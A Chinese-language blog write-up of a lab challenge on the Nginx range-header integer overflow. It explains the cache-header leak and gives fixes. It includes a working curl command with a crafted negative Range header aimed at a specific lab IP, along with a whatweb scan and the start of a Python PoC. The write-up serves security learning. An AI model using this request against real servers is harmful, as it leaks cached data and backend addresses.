安鸾基础题之Nginx整数溢出漏洞
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于 涂寐’s Blogs:https://0xtlu.github.io/
0x00 题目提示
1 | 题目URL:http://118.190.133.35:8040/ |
0x01 漏洞概念
Nginx
- Nginx是一款轻量级的Web服务器/反向代理服务器及电子邮箱(IMAP/POP3/-SMTP)代理服务器,在BSD-like协议下发行。其特点是占有内存少,并发能力强,事实上Nginx的并发能力在同类型的网页服务器中表现较好。
- 正向代理:位于客户端和原始服务器间的代理服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),后代理服务器向原始服务器转交请求并将响应内容返回客户端。
- 反向代理:以代理服务器来接受Internet上的连接请求,后将该请求转发给内部网络上的服务器,并将从内部服务器上的响应结果返回给Internet中请求连接的客户端。
- 个人理解:正向代理类似与用户主动使用代理去访问其它站点;而反向代理则是用户想要去访问某个站点,必须先通过访问其指定的代理服务器来间接访问站点。
- 注:不保证正确!!!
漏洞
- 使用Nginx且开启缓存功能时,可构造特定Header头,实现越界读取缓存文件中的文件头信息,而文件头信息中可能涵括Nginx代理站点的真实IP,从而形成敏感信息泄露。
- 该漏洞发生在0.5.6~1.13.2版本Nginx中,根据漏洞利用难度归属为low-hanging-fruit。漏洞利用具体为:
- Nginx在反向代理站点时,通常将某些文件进行缓存,特别是静态文件。缓存的部分内容存储在文件中,每个缓存文件包括“文件头+HTTP返回包头+HTTP返回包体”。若二次请求命中该缓存文件,则Nginx直接将该文件中的“HTTP返回包体”返回给用户。特别地,若发起的请求中含有Range头,Nginx将根据Range中指定的start和end位置,返回指定长度的内容。故,若构造负位置,如(-600, -9223372036854774591),则可能读取到负位置上的数据,且若该请求再次命中缓存文件,则可能读取到缓存文件中在“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
0x02 漏洞利用
访问目标URL,都有提示个
跟着提示操作
1 | kali@kali:~$ whatweb http://118.190.133.35:8040 |
1 | curl -i http://118.190.133.35:8040/proxy/demo.png -r -17208,-9223372036854758600 > nginx.txt |
- 使用网上流传的POC
1 | #!/usr/bin/env python |
1 | python3 test.py http://118.190.133.35:8040/proxy/demo.png |
0x03 漏洞分析
0x04 漏洞修复
- 可升级,则升级到 Nginx 1.13.3 版本以上
- 不可升级,则Nginx 配置文件中添加
max_ranges 1
以禁用multipart range
。
- 本文标题:安鸾基础题之Nginx整数溢出漏洞
- 本文作者:涂寐
- 创建时间:2022-06-12 21:58:08
- 本文链接:article/8b19a517.html
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
评论